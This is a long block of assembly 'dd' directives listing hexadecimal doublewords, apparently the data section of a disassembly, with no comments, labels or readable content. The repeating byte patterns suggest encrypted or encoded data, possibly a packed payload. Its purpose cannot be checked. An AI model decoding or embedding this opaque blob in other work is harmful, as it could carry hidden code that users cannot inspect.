		dd 42B132AAh, 0D5B13253h, 7DF7122Eh, 8DB13248h,	0DAD13256h
		dd 8B31CADDh, 10D153B8h, 54C5598h, 0ABB15337h, 0D5B6B459h
		dd 68BE3256h, 75B13257h, 53B132A3h, 5DB13259h, 2FA723F8h
		dd 5EAEAB54h, 155D33ACh, 0D531DF23h, 0E2595256h, 9FB13256h
		dd 0F9473A8Fh, 0DC07BF88h, 5AA51F8Fh, 58E16951h, 0CAEBEDE9h
		dd 51BE3256h, 0EAB13250h, 1577B936h, 0BAB15337h, 5DB13FBFh
		dd 47707556h, 3E5F2F05h, 0DC95CF16h, 0D5B1093Eh, 240E3D36h
		dd 1472B930h, 0AA583256h, 6FB13256h, 9941340Eh,	0D7B61229h
		dd 0D3FAF104h, 0D525EE83h, 55BE5256h, 75D0CB81h, 0BAB1C756h
		dd 5DBABC59h, 0C8D13256h, 0E98006EEh, 0EF62B2C7h, 29B13237h
		dd 0EAB13FBFh, 0FE7D0256h, 0ABCEDC6Dh, 0A697E343h, 0AEB14427h
		dd 0BEB132AEh, 0ABB1325Eh, 0CF1C4D8Ch, 6234E785h, 7AD13256h
		dd 0BAB131D9h, 950E3D56h, 0CED0F3DDh, 0D4BE6900h, 0ABB13250h
		dd 0D5B1B159h, 0EAD03256h, 89D15256h, 0BAB1B459h, 3BD03256h
		dd 4CC7F9D7h, 0BEB13237h
		dd 0ABB1325Eh, 68F4C1B9h, 306BE6E8h, 24D13256h,	0BAB13ABEh
		dd 0E6EE6156h, 0BADC4AE5h, 0D6E86988h, 44FDF6B6h, 0D5B15356h
		dd 0EAB120BFh, 23A2C156h, 0C2C1A7Ch, 73EE1231h,	6CAC2D9Bh
		dd 5719AF04h, 0ABA2DB56h, 72DB3256h, 309A429Ah,	8DB07C21h
		dd 0CA4677BBh, 1B98A6FAh, 0CEB13248h, 0AF42B930h, 0CBB13237h
		dd 91A58830h, 0EAB13BBEh, 0CE22AA56h, 0A905A811h, 64DF957h
		dd 0A1B13237h, 57B127D9h, 0ABA1DB56h, 0A6F93256h, 34291BA8h
		dd 0D93AAD22h, 8D151EF7h, 5D492255h, 0AF353D56h, 0AEB13256h
		dd 69063D36h, 2C063D36h, 0EAB13CBFh, 30C80656h,	816E07CDh
		dd 6ABB2954h, 0CF607A4Fh, 0AEB13237h, 0A6583256h, 61B13256h
		dd 1773C4AFh, 29A026E8h, 6DB5E890h, 0D4BE3256h,	0AEB13257h
		dd 0E0BE52AAh, 0ABBBDB97h, 68913256h, 2949F5FDh, 0F3D7EFBFh
		dd 0DAB13237h, 5DB134BFh, 0FF72D256h, 3117F82Ch, 0CA5983EEh
		dd 0D5493256h, 8CE05256h, 2FD7D1E8h, 7A5AB330h,	5DB153B3h
		dd 5BB132AFh, 0ECD13256h, 0A74367BDh, 0E985F6EDh, 0EAB15341h
		dd 15B132AEh, 0BAB1BD59h, 52D13256h, 20BEEBE1h,	57B13256h
		dd 0ABB15337h, 0E161B336h, 8BAFC7FCh, 75B137BFh, 90333056h
		dd 5DB16ACAh, 0AEB13BBFh, 0A8AC9856h, 0D5459C11h, 0D5B11D00h
		dd 0EAB138BFh, 55609556h, 14DA5FCFh, 5D1FB446h,	11BE5256h
		dd 0A559B3A7h, 0CA9123DBh, 0D54D3256h, 0EAB7DB56h, 75083256h
		dd 9C51AC93h, 5D493256h, 0A13C3D56h, 0BEB13256h, 0ABB1325Ch
		dd 0A8467AD9h, 2A1F6919h, 75B1D5CCh, 0BAB13EBFh, 9C62F456h
		dd 7BEC1B2Bh, 3693A639h, 0CBB13237h, 8D6BB905h,	0EAB137BEh
		dd 79F63F56h, 0BC584809h, 0EAB13256h, 0BA4BFE1h, 57D068D3h
		dd 0ABB1CE56h, 14063D36h, 9FA8D8D7h, 75D0504Bh,	0BAB1C756h
		dd 5DBCDB36h, 9B873256h, 2E5145DAh, 8446D84Fh, 0B4D83397h
		dd 8CD13256h, 75D0E3DDh, 0BAB1CA56h, 5DD0CB36h,	0BF595256h
		dd 0C3B13256h, 76824AFh, 0D0FADC99h, 40911E6Bh,	33B30E57h
		dd 5E8E8DDh, 449EC4BCh,	0AEB1CB37h, 58B132AEh, 0ABB12BD5h
		dd 0D5A5DB56h, 5B703256h, 0E5E1C573h, 165A4F6Dh, 0C9DCCAD7h
		dd 84A31BFEh, 57B170DAh, 0ABB13BBFh, 28F5CD56h,	73856B56h
		dd 75B1CCDFh, 5B30C736h, 79843186h, 0BC383D37h,	0BEB13256h
		dd 0ABB1325Bh, 0CAD6D9D8h, 67B0CF21h, 0DFA25579h, 42B13244h
		dd 0A1D13256h, 0AEB1CB37h, 57B13EBFh, 765E4F56h, 89AA2E8Ah
		dd 861410E6h, 9CB13246h, 0BAB13258h, 7B84C222h,	0D3734451h
		dd 0FD9B7A3Ah, 0ABB14015h, 0D5BAB859h, 0EC583256h, 10B13256h
		dd 0CAB9B166h, 52D152E1h, 0AEB132D4h, 0B7315356h, 0ABB15312h
		dd 0AC07CB36h, 16B13237h, 64583256h, 0F0B13256h, 9205249Ch
		dd 61664B0h, 5D2E9F74h,	392A3EB5h, 6CD13256h, 0ABAD50F9h
		dd 56DF8C30h, 42B13237h, 0B44D3256h, 0AEB13251h, 7B9313BAh
		dd 0AB71D049h, 0DD3D3D56h, 0E5B13256h, 75B130D8h, 0BAD05256h
		dd 5DA3DB56h, 5C353256h, 55C65C97h, 722EA0A9h, 0E064B1FDh
		dd 0B09DBDBFh, 154D3256h, 524B8559h, 5DB13259h,	82AE24E1h
		dd 0FB9393DCh, 0F9368638h, 3C79BFC6h, 0EAB13246h, 0CC3E2EC6h
		dd 0B827B0A0h, 30F9177Eh, 599F5BB2h, 57B15308h,	0CBB132AAh
		dd 5EE96336h, 3B0F5397h, 14D223CAh, 0A9583256h,	0C2B13256h
		dd 61B92A03h, 0BDEDFBCh, 0B3D54A12h, 54753BB7h,	0EAB1C9F6h
		dd 733B3D36h, 0B5B13256h, 5DB132D5h, 0AEB9DB56h, 0CCB03256h
		dd 8F902427h, 0D5D038CDh, 0EABDDB56h, 0C0B73256h, 29D1C8F8h
		dd 9C001715h, 0AEB1ACE5h, 4361B336h, 0A4A0F2E1h, 0D5D0E5E1h
		dd 0EABBDB56h, 59F33256h, 1242D6E9h, 222D6D48h,	2EBE3256h
		dd 57B13257h, 0ABB1CBA3h, 0D5B13DBFh, 2CC32256h, 0DD27BA56h
		dd 7D9B5D1Dh, 0DBE70557h, 16D13256h, 69518667h,	0ABB13FBFh
		dd 93C2A256h, 0CADC5EE6h, 65448273h, 0BAD000F1h, 5DA2DB56h
		dd 21E03256h, 0F6F61AF2h, 0A5212F63h, 0D19B683Bh, 16B5FB71h
		dd 7A44529Fh, 0BAB136D8h, 0A10F5456h, 0AEB153BBh, 57B137BFh
		dd 0B17B9456h, 0D5B121FCh, 0EF363D36h, 0CDB13256h, 8B9B3326h
		dd 5DB139BFh, 86AF2956h, 0F0F4AF67h, 41025F47h,	2DB13237h
		dd 0EAB135BFh, 314AD956h, 0AFDD2ABFh, 0D5BE3256h, 0AEB13257h
		dd 0ABB132AEh, 28BE3256h, 0D5B1324Fh, 1D52B336h, 9CCD1D4Ch
		dd 0BAB1325Ah, 4FE91CA6h, 0D947A6B5h, 38A636CCh, 42B13237h
		dd 0D5B13247h, 7C533F6Bh, 0D90D18F4h, 0F4F25416h, 93DF54E3h
		dd 0A3333DFFh, 37B13256h, 0ABB1B759h, 54D73256h, 8B2F0389h
		dd 75483256h, 0B5585256h, 26B13256h, 6F4C85F1h,	800F8C91h
		dd 96FC45B9h, 51BED4F2h, 0EAB13253h, 4B4953EEh,	0BAB1536Dh
		dd 5DBADBAAh, 0EE543256h, 0BD2E7FCFh, 81245B8Bh, 20B13283h
		dd 0EABCB759h, 7AD13256h, 0BAB132D5h, 0AB305456h, 0AED055CFh
		dd 57A2DB56h, 2AF03256h, 9AE16E6Dh, 96D24242h, 0A17BB219h
		dd 373385A0h, 3DB13264h, 0AD363DAAh, 31B13256h,	0ABD0FDDDh
		dd 0D43C3D56h, 12B13256h, 7E583256h, 8AB13256h,	973DA0ACh
		dd 466C916Eh, 57B14CE6h, 42B132A3h, 0D5B1325Bh,	239C74D0h
		dd 0D90CE1F4h, 0C00BC2A5h, 52B132B3h, 0AEB13AD2h, 55333D56h
		dd 0CBB13256h, 0DAB13237h, 0EAB137D2h, 0CABE5256h, 0BAB153ADh
		dd 5759B336h, 47968329h, 57B13247h, 7290555h, 6984D42Ah
		dd 1DA8AEF7h, 5501F8C2h, 33BE5358h, 5DB1325Ch, 7278B336h
		dd 596137Bh, 0ABB1530Fh, 0D5B4BF59h, 61D13256h,	75D0CA94h
		dd 0BB333D56h, 0A1B13256h, 0A1B132A3h, 57B133D9h, 0ABB1C756h
		dd 0D5B6B359h, 0BDD13256h, 0A53A540Ch, 0B5B13237h, 5DB135D8h
		dd 0AF313D56h, 0ABB13256h, 0CB4D3256h, 0B3C5C1D6h, 0EAD0C9DDh
		dd 0FED75256h, 4F69B399h, 3CB4A7C0h, 0BF583256h, 0A1B13256h
		dd 1756EB9h, 7BF6CD4Bh,	0C5E74CA2h, 21146820h, 0DE1D8836h
		dd 85307556h, 95F12680h, 0ABB13237h, 0AE583256h, 44B13256h
		dd 4B693804h, 0FFBE3256h, 0BAB13243h, 5DBEBA59h, 0A4583256h
		dd 54B13256h, 663345B8h, 1DC2A01Dh, 13B1325Ch, 9CD13256h
		dd 0BAB13258h, 9DC48170h, 593C6B0Dh, 0F0A220FEh, 10D78549h
		dd 0D5D0382Ah, 0FA585256h, 0DDB13256h, 0F9444760h, 3D0A6C71h
		dd 60AD41Ch, 313C11A0h,	0CAF5B4ECh, 0DAB132AFh,	0EAB138DFh
		dd 75B4DB56h, 0D93F3256h, 5D6D5A94h, 0AEB1C756h, 586A8536h
		dd 0ABB131D5h, 0D063D56h, 12B13237h, 75483256h,	0BAB1CA56h
		dd 5DBDBA59h, 27BE3256h, 57B13250h, 0ABB1BC59h,	0D5B13256h
		dd 0EAB9B859h, 0FABE3256h, 0BAB13254h, 5D485336h, 0AEB1CB56h
		dd 57BAB559h, 0A4D13256h, 52BEC9E9h, 0EAB13256h, 7AB13237h
		dd 0BAB135D1h, 5C303D56h, 56B13256h, 0A24D3256h, 0B8583256h
		dd 0C1B13256h, 2A177457h, 0A1958E34h, 0AC0A262Eh, 179CB3ADh
		dd 0AEB1DCD7h, 57A1DBAEh, 22A03256h, 9229CAB0h,	40702407h
		dd 50542F7Eh, 0BAB1CAF5h, 5DB134BFh, 45181256h,	5765DB0Eh
		dd 0ABA5DB56h, 46523256h, 0AC797D02h, 0B87071D9h, 5FF0585Eh
		dd 7B8AB147h, 0AEB17D6Bh, 57B13EBFh, 7DB76456h,	5B502500h
		dd 120140F4h, 15B132E4h, 0DB095436h, 3CD052CEh,	47D0A9E7h
		dd 57B13247h, 0F1FDC9E5h, 0B79CDBE5h, 3B9EB571h, 671F6FAEh
		dd 46B132BFh, 0DCBE3256h, 0AEB1325Eh, 57B3B559h, 0CAD13256h
		dd 3CB132A3h, 0EAB13253h, 6CDCF510h, 46B13210h,	0DCD13256h
		dd 0CF2B3DA4h, 0BFD1535Bh
		dd 0ABB13247h, 0D8740BD9h, 613EAC2Ch, 23147E6Ah, 0AEC733F2h
		dd 0F479B3FFh, 0F0CE2911h, 36718D59h, 0AB443256h, 0C1373D56h
		dd 8AB13256h, 7A11E4D7h, 0BD584E8Ah, 51B13256h,	607D376Eh
		dd 0AED02A69h, 0AB443256h, 0D2595256h, 90B13256h, 61EE14ABh
		dd 6A3A0C16h, 5DBADB0Fh, 0F8B63256h, 2A385480h,	6C37377h
		dd 0D5B153F9h, 0EAB13CBFh, 0D2036056h, 71AF4ED2h, 0E084734Ch
		dd 0AECC00F8h, 57BBDB56h, 73933256h, 7D61641Fh,	0DBE67C63h
		dd 9CD13256h, 0BAB1325Eh, 8D1D9E7Eh, 879E9DF8h,	0AEB13237h
		dd 2FBE3256h, 0D5B1325Ah, 0EAB7B459h, 0FEBE3256h, 0BAB13256h
		dd 3BD13256h, 0A15CDAEEh, 37D0F2E9h, 0A5597AE2h, 0BBB13256h
		dd 0E9835E09h, 173050Bh, 1EC00BF5h, 56BB9CCh, 0CEB13237h
		dd 57A0DBA3h, 4223256h,	8103936Ch, 32940AFAh, 2DA0AAD4h
		dd 0DBC60C49h, 0A1B132AEh, 0A1D13256h, 4658FCE9h, 0F4B13256h
		dd 0E23AFA2Ch, 4DFFF766h, 0A9AE186h, 88BE54E2h,	0A4B13237h
		dd 0AE493256h, 503C3D56h, 0A4B13256h, 0D5B133DCh, 0EAB1CA56h
		dd 6D303D36h, 53B13256h, 5DB13245h, 0C7E2470Ah,	0D3C1ADA5h
		dd 61462DB1h, 0E60CCAE7h, 0BB0ED5B2h, 75B1B359h, 0DBE83256h
		dd 56583256h, 7BB13256h, 0DB83A59Ch, 0C58EF3Ch,	0D5B170D3h
		dd 0EAB138BFh, 0B3080D56h, 0DE44AE0Bh, 5D895991h, 0A2333D56h
		dd 58B13256h, 0ABB134D4h, 0D53B3D56h, 0EAB13256h, 7F3E3D56h
		dd 53B13256h, 5DB13253h, 0BAA8C998h, 57A3DBBCh,	0ECB63256h
		dd 0DC156CB0h, 0AE996997h, 56E31212h, 0F39CF45Fh, 57583256h
		dd 0A7B13256h, 183FF6D6h, 0F575E2B4h, 55BE52ECh, 0EAB13250h
		dd 598DD4D7h, 5BE635Fh,	5DB1538Dh, 0AEB13BBFh, 73897756h
		dd 0B3D91C16h, 0D5B198F3h, 0EAB0B959h, 75483256h, 0DCE15256h
		dd 5152CE9h, 0A1B13237h, 57B13CD7h, 0ABB8DB56h,	22E13256h
		dd 56F7D543h, 75DE53FEh, 0BABDDB56h, 0C5223256h, 9E31874Eh
		dd 911C0142h, 0ABB1715Fh, 0D5B121BFh, 0A3468656h, 723F5E2Dh
		dd 77F686F8h, 0ED71D6E8h, 1C137CD0h, 57B9DB36h,	5FA63256h
		dd 71E6F9A7h, 24D7A66h,	75B13256h, 165BB30Ch, 3DB71DDAh
		dd 2FD1F4DCh, 806AE9B9h, 0CA73B93Ch, 0C5363D37h, 3B13256h
		dd 75B1325Dh, 5671E228h, 0F0D83739h, 23C57182h,	79261ED3h
		dd 0ABBEDB50h, 0EBF43256h, 456F678Bh, 0D93D2EC9h, 0A6E260E6h
		dd 8F33BBB6h, 0A1B71D23h, 57B123D5h, 0ABBDDB56h, 4F8A3256h
		dd 0EF29E496h, 0A3A423Ah, 383C6782h, 5B816252h,	0AEBDBD59h
		dd 50583256h, 40B13256h, 0EFE791CDh, 6BBEEDE4h,	75B13257h
		dd 4933BBA3h, 0B4B71D23h, 0AEB13244h, 7639537Dh, 268AB2B0h
		dd 9A18AE07h, 0DAE2F481h, 0F2BE7857h, 0BAB1325Ah, 5DB7B359h
		dd 21BE3256h, 57B13256h, 0AB87C9BEh, 0D5B6DB56h, 0D6B33256h
		dd 0F0655DC3h, 0B86ADA07h, 9A443256h, 81C409D4h, 57B13250h
		dd 0ABA2DB56h, 0A25A3256h, 8D0BD5AFh, 0F4A6C422h, 0DA718667h
		dd 0E7C8414Fh, 0BE5860EFh, 0CFB13256h, 6CA92886h, 2780A549h
		dd 4A89B3BAh, 0B33CAC1Eh, 93AA6BD3h, 0DCD16450h, 93C270A1h
		dd 51333D2Bh, 2AB13256h, 9CE5209Eh, 0B8D95330h,	8D2D9AEEh
		dd 0A02887A9h, 0D04D347Fh, 82CAE0D3h, 57A2DB50h, 316E3256h
		dd 0DBB9B30Ah, 56AC5BC3h, 25EEB01Fh, 61E8D39Eh,	5261CDE7h
		dd 0AEB138DDh, 57B4DB56h, 0A1543256h, 5C4AB107h, 0C3BF1FD3h
		dd 71DBCE50h, 413A5436h, 5DB2BE59h, 25D73256h, 57D953A6h
		dd 0A4B13246h, 0D5B13AD6h, 0E8353D56h, 15B13256h, 0B7F15A37h
		dd 37443255h, 0A5363D56h, 37B13256h, 0ABB1B859h, 5ED73256h
		dd 3A4E53A4h, 13C98636h, 0DB5D91EEh, 5E393D36h,	2EB13256h
		dd 5859B091h, 0DDB13256h, 940EDD39h, 0EFB491B6h, 9CC14861h
		dd 0AB58CEAAh, 0A4B13256h, 87E4658h, 9F118A99h,	0D5ACD187h
		dd 0FC84278Bh, 8AEB5308h, 75B2BA59h, 31D73256h,	0E2BE6489h
		dd 0A5D06D95h, 0A353D96h, 0CBB13257h, 5CD01CE5h, 0C5C409D4h
		dd 0F738C750h, 0BC9E471Ah, 5DA0BE59h, 0A2583256h, 3B13256h
		dd 3B801795h, 975AD944h, 53CFF984h, 75B23F16h, 7F315236h
		dd 3CD052A3h, 0AEB126BFh, 9ED1A256h, 58A9C4C9h,	253A81CAh
		dd 0F51FF2D4h, 83D18562h, 423A533Dh, 9D82CBAFh,	0AEBCDA36h
		dd 0B1903256h, 0FA3C09D6h, 2FE9BCAh, 0E5816190h, 7AEBC5E9h
		dd 0BAB131D8h, 0AD063D56h, 0A11BC137h, 57B135DDh, 1B035256h
		dd 0B44B8D59h, 0F8595204h, 1B13256h, 54E55632h,	955B2254h
		dd 0D3344A4Dh, 0A8857513h, 2CBE6B82h, 0D5B13255h, 8B29E8D6h
		dd 0F5BE363Ch, 0BAB13251h, 5DB0B759h, 0C64D3256h, 57B12256h
		dd 0ABB0B759h, 0DA4D3256h, 0EAB127DDh, 79585256h, 8BB13256h
		dd 0EEA459F4h, 710D19C4h, 373A62EEh, 0ABD95337h, 3CB13252h
		dd 0EAB13242h, 59543867h, 497B5BBEh, 0B9856C60h, 0CE9BEC40h
		dd 47CBE575h, 0A758323Ch, 0B7B13256h, 0B2F4D6AFh, 443F3C25h
		dd 533EEB5Dh, 5DB13251h, 84B5FD74h, 0A808D558h,	82BF1FC4h
		dd 0D5BFDB50h, 0A63B3256h, 0A3519CEDh, 0C0B4042Eh, 527C2C70h
		dd 0AEB0B459h, 0D4D3256h, 0EA33BBAAh, 3CB71D2Eh, 0EAB13242h
		dd 8AA4AD28h, 7A5C8759h, 0D8104575h, 0C533AFCAh, 0F9FD9D63h
		dd 0ABBFDB37h, 0F243256h, 5A228D67h, 257B86A5h,	0E3F3421Bh
		dd 5DB138BFh, 3F4CB556h, 0D8AABF63h, 2001CA98h,	0FAC409D3h
		dd 0EAA5DB50h, 0E6EF3256h, 0A90ACD77h, 56DEE0E8h, 96D60CD9h
		dd 0E7C93280h, 0A472D4B8h, 0D5B13AD2h, 0E8303D56h, 15B13256h
		dd 3BD15237h, 0CFD7BE87h, 760E3D3Eh, 233F537h, 0ABB71B4Ch
		dd 0B5B17256h, 0E87BB330h, 75BEDBE8h, 12773256h, 92F3648Dh
		dd 248F5AF2h, 0D0DCCF3Dh, 2DBE53E3h, 0D5B13257h, 0A333F5AEh
		dd 75B71B66h, 0B5B13246h, 5DB126DBh, 0AEBEDB56h, 37393256h
		dd 0DBFDAB07h, 654FDAFDh, 0DC111462h, 7C3F3DABh, 0DAB13256h
		dd 0C6F58B30h, 0CF78E6D6h, 57B6DB37h, 0CDF43256h, 68B994A8h
		dd 0FA58F155h, 0B2B13256h, 8AE8868Eh, 0BFA8F381h, 0B6F54E7Ch
		dd 37B6E697h, 0ABBCDA36h, 0F0A93256h, 0EEAF2D2Eh, 0A586191Dh
		dd 0E3A65AD5h, 4D393D37h, 0CEB13256h, 57B9DBAFh, 0F6C93256h
		dd 99E1D178h, 61D0354Fh, 5AC409ECh, 0AF3E3D50h,	0B4B13256h
		dd 0AEB13246h, 342FB4D6h, 3F1589C4h, 9CE4F457h,	0F9C5C0FFh
		dd 7AB10DD5h, 0BAB1FDD2h, 4B333D56h, 0CEB13256h, 57B13BBFh
		dd 3337A56h, 0CD25EFA1h, 2A305F67h, 0AF4DD0Eh, 0BABADB37h
		dd 46933256h, 8D2E03Ch,	27816ECDh, 0BBCEB1D9h, 0E6353D54h
		dd 0E5B13256h, 75B133DDh, 0C532CB56h, 0D9BE3646h, 0AEB1326Ch
		dd 8F305436h, 0CBD07608h, 0D5B2B859h, 55BE3256h, 417FB38Eh
		dd 0DBC47F48h, 0A4A5F5D5h, 514EBDBFh, 1076C7A9h, 0ABB13346h
		dd 3C58CB56h, 34ECDA9h,	75B13250h, 0E7FA3423h, 1A768919h
		dd 0AEB13146h, 74303D56h, 0CBB13256h, 0D5B13CBFh, 0E0B2056h
		dd 6F04985Ah, 400ABA5Dh, 0B5E5E1BDh, 0AEB1325Eh, 0E8DA6EF2h
		dd 0FD8B00BBh, 7C585309h, 8A4ECDA9h, 75B13DBFh,	41B9F656h
		dd 667AD7D5h, 351A0378h, 0DA000B35h, 0CACEC0D6h, 0C23A3D37h
		dd 0E5B13256h, 75B123DAh, 0BABDDB56h, 7F9D3256h, 9D647B9Fh
		dd 0CE89F24Ah, 0CB723B43h, 0D5B3BB59h, 0B0E13256h, 80D066E7h
		dd 0BAB4DB03h, 0C1B3256h, 250F36F5h, 0D6D752BAh, 0A45E588Dh
		dd 3CD0E0E9h, 0EAB1325Dh, 0B8BF02ECh, 0F3F485A9h, 3D57EAEFh
		dd 0AEBDBD59h, 0D0BE3256h
		dd 0ABB13250h, 0D5B1BF59h, 0EA593256h, 2FB13256h, 28DAD8D7h
		dd 0B4443479h, 0AEB13251h, 0B578798h, 20F45BFBh, 0FAC957E4h
		dd 0B8D15250h, 7958530Fh, 7BB13256h, 76D6456Fh,	0C90A4125h
		dd 36A4A439h, 42B977DDh, 0D5B13258h, 2C8D9724h,	0BC83B06Ch
		dd 0B9F19D6Fh, 5B382FFDh, 0AEB0BC59h, 0D4483256h, 84C957D4h
		dd 0DAD13650h, 0E5E0F9E1h, 14EAF2E1h, 3BD1CB37h, 92D05F9Dh
		dd 733B6137h, 0BE785308h, 0ABB13253h, 57B7C82Ah, 0EAB5F050h
		dd 0F6BE52AFh, 0BAB1325Eh, 5DB3B659h, 0CFD13256h, 57B132BEh
		dd 41306856h, 0D39EA0ABh, 0EAB13CBFh, 0BA472E56h, 0F8289DDEh
		dd 0C4585FEh, 0A140D113h, 57B126D8h, 0ABBEDB56h, 0D7333256h
		dd 0B954698Ah, 0E929758Fh, 0B9B22A70h, 1C03B9AAh, 0A1B71D2Eh
		dd 57B13CD3h, 0ABB8DB56h, 0AE763256h, 8A3F3D24h, 4EE9A771h
		dd 95C957E4h, 5A353D50h, 0CEB13254h, 6D6BB330h,	1D67B35Fh
		dd 0B4C99E9Bh, 0FB580CDDh, 0E5B13256h, 7AEF9831h, 0FCB0FB3Ch
		dd 9DA89239h, 9CB1CD56h, 0ABB13BBFh, 0A6068F56h, 95002909h
		dd 0AA3A95ACh, 0BAB126BFh, 7C78F856h, 0F7C1B803h, 7B381512h
		dd 52F2F59Ah, 0D9A9BBCDh, 0EB3C3DE8h, 89B13256h, 0BBFE8459h
		dd 5DA2DBAAh, 504E3256h, 0D4BDD94Bh, 0F3638312h, 1267E70h
		dd 393A76DBh, 74F6C422h, 0E8343DD6h, 0B4B13256h, 0AEB13242h
		dd 4044D3DAh, 3E164BE0h, 18E3A08Eh, 7CA30FCDh, 45FCA2C4h
		dd 0BAB120BFh, 3A9D9856h, 67F5E9D0h, 782B0ABDh,	38FB357Ch
		dd 0D6EDFF3Bh, 0FE58CA8Fh, 5BB13256h, 60E8DC1Bh, 0C74277Bh
		dd 0BF56C4D2h, 0ACDB687Bh, 428819F3h, 0D5B1327Eh, 0E56819AFh
		dd 75B12DD2h, 0B70A5256h, 0B4901F01h, 0AEB13245h, 0B690AF23h
		dd 0B4086426h, 43E7F53Fh, 0CD1E64A8h, 149298DCh, 0BABFDB15h
		dd 0A7F03256h, 0BB067D5Fh, 624D4271h, 0A33C62DCh, 0C5595215h
		dd 0F3B13256h, 438EFE52h, 84AA64D4h, 0B8941D0Dh, 0C8EB2CEBh
		dd 0F5702ECh, 6A34B937h, 0DAB71B48h, 0EAB13EDFh, 73333D56h
		dd 0B5B13256h, 5DB132DEh, 1B3CB956h, 0BEB71B58h, 0ABB13245h
		dd 19CD40E0h, 2F253AE1h, 0D297E7ACh, 0B336C32Eh, 6675D724h
		dd 0F4333D8Eh, 0BEB13256h, 0ABB1325Dh, 881C9AAEh, 6138A67h
		dd 15CEBF07h, 0FE82DDD7h, 0A4E27F7Fh, 778A530Ch, 5786B559h
		dd 0A3583256h, 0ECB13256h, 7F989777h, 0F62A7E3Ch, 0DCD13690h
		dd 3243E5D7h, 50E0DB37h, 0D2BECDA9h, 0ABB13243h, 0D5BCDB36h
		dd 0FFAC3256h, 5A90D1A3h, 8D53861Dh, 0A8F963D7h, 0A17E0937h
		dd 57B173D2h, 0ABBFDB56h, 0B0523256h, 1971AFECh, 0E93F6192h
		dd 0F1CFD10Ah, 53048FDFh, 0CED1347Fh, 36D1E3E0h, 4B305437h
		dd 3CD041B4h, 154ECFBFh, 75B123BFh, 26E6E156h, 795973A1h
		dd 0F3A3C8E6h, 4473D6A6h, 57D0F7C1h, 0D5A1DB95h, 81CC3256h
		dd 459B7CC8h, 910657C8h, 2FE1BB35h, 23BEF850h, 57B13257h
		dd 434852A3h, 0D5B13256h, 6E5BB30Ch, 8CB71DC3h,	0BABBB459h
		dd 3BD13256h, 0C20AC5DDh, 3697B9AAh, 0D3F088DDh, 0B3D13479h
		dd 0B16C5D7h, 701C8D30h, 0BA08C737h, 0B4B13257h, 0AEB13245h
		dd 7304E649h, 14212679h, 800739AEh, 0DFAEC7AFh,	46A4DB7Dh
		dd 0B53F3D96h, 0B4B13256h, 0AEB1325Ch, 62CD038Fh, 0D22D335Ch
		dd 0DB58AFCBh, 7FB13256h, 0F99496FCh, 5E60B191h, 6DEB818Bh
		dd 471AC1B8h, 57B13250h, 33C449F6h, 573AC50Ch, 0EC9E4A17h
		dd 75B6BB59h, 32BE3256h, 5DB13257h, 0CB33BBAEh,	37B71D2Eh
		dd 0A658EDDDh, 74B13256h, 9B90FF86h, 0BD3B6FEAh, 0CE1408EDh
		dd 9E4D5337h, 71305436h, 0D2097067h, 0CAA07B2Eh, 0D5BEDB36h
		dd 0C9DE3256h, 7247D642h, 0F0ED0750h, 4A38428Ch, 25D7528Ch
		dd 216BB2A8h, 0ABB1DA37h, 54EB3256h, 0C52750BCh, 0FED1CB50h
		dd 0DF43B3A1h, 3CBDB187h, 0B5E8B790h, 0BEE7347Fh, 0ABB13247h
		dd 77D34431h, 824C2E68h, 0D7AB6057h, 0F42A9AD0h, 64D9CB8Bh
		dd 47652D3Bh, 57B13242h, 85EC4A55h, 0CCFD62B5h,	4F4CC151h
		dd 0F8406CEBh, 0FFA618C9h, 472887A9h, 2349347Fh, 7BCAE0D3h
		dd 42485250h, 0D5B13242h, 0A12A6169h, 0D7AEDEC6h, 6124E28Fh
		dd 2A33C3DBh, 0E63859D0h, 0BE61CD37h, 0ABB1325Fh, 1DD4ABFEh
		dd 0E25ED02Ah, 0F5D160EAh, 773114BBh, 0A8E1530Eh, 0AE31323Eh
		dd 57DBCA56h, 0ABB13EBFh, 34190E56h, 29A5B2EFh,	0CA036833h
		dd 8103CDFCh, 0B4B71D23h, 0AEB13246h, 0F97BC0F9h, 59A37317h
		dd 0C8833C59h, 0F9098AA1h, 7058E2A9h, 0EBB13256h, 0DDCBD56Fh
		dd 0AEA1DB0Eh, 0B3A33256h, 1FBBB4B2h, 79675ED5h, 3B10B994h
		dd 9CEBDD4Ch, 0BAB13246h, 59768577h, 6138EA34h,	5383ADB3h
		dd 0B05008B9h, 0D531323Eh, 0FA3D3D56h, 9CB13256h, 0BAB1325Dh
		dd 0E3EE4F7h, 8F0BFFDh,	3DBF6E8Fh, 194ECB56h, 0D39E4A17h
		dd 0EAB126BFh, 68F8B356h, 89926E8Ah, 9BC9B4A4h,	10B75C38h
		dd 0C7625539h, 0A461CD72h, 0D5B13AD0h, 504D5256h, 672C7147h
		dd 0BABDDB37h, 1AF3256h, 3486F33h, 47CED572h, 57D0E117h
		dd 0D23D3D95h, 0E5B13256h, 75B133D8h, 0B5E4CA56h, 5DB13AD6h
		dd 2FD75256h, 0AB3CE0B9h, 425DB937h, 0D5B13245h, 0A8F15AF0h
		dd 1F3BD55Fh, 2AF6131Dh, 5C49C7FEh, 0CEB6B214h,	57B137BFh
		dd 3FB70656h, 58BE005Dh, 0EAB13251h, 75B0B059h,	524D3256h
		dd 5DB13256h, 0BA5BB30Ch, 37B71DCEh, 709BE9D7h,	0DF5936A9h
		dd 0F4B13256h, 49CA4B44h, 0BF757F8Ah, 3CE8CEC6h, 0AEB13ABFh
		dd 377A3E56h, 9057F8ECh, 0DDC4B92Dh, 0EF3A3D36h, 0CDB13256h
		dd 0C46D9205h, 5DA2B059h, 0A0583256h, 17B13256h, 1BD4A39Bh
		dd 159F1AE3h, 5F5C1A4Ch, 0F595315h, 0B5B13259h,	5DB13CD2h
		dd 0AEB8DB56h, 100C3256h, 0BCC3412Ah, 0DA01910Bh, 0EAB13AD0h
		dd 0CABE5256h, 493A5481h, 0A2486737h, 81C4E0C4h, 0AFECC750h
		dd 0ABB6DB36h, 0C7273256h, 0DC6E28F7h, 8A5334h,	0D343D5Ah
		dd 3D4ECDA9h, 690E3D00h, 3648520Ch, 0A496DA37h,	0C5583256h
		dd 74B13256h, 558933D8h, 0BFAC3A50h, 0E3DDB989h, 0CE6D8CA3h
		dd 4758E2DDh, 4B13256h,	96183A04h, 0C2BE8EADh, 2DA43CDEh
		dd 0DBFC1635h, 91315237h, 0CF73B941h, 1E0529Fh,	20D76A0Fh
		dd 0DD735381h, 0E5E4CB56h, 75B13EDEh, 0BC363D56h, 52B13256h
		dd 0AEB132DAh, 0DCD75256h, 0AE343DADh, 6DB13256h, 85E11CB5h
		dd 155DB937h, 0BAB138BFh, 0D02C5B56h, 6D651F25h, 31D251F3h
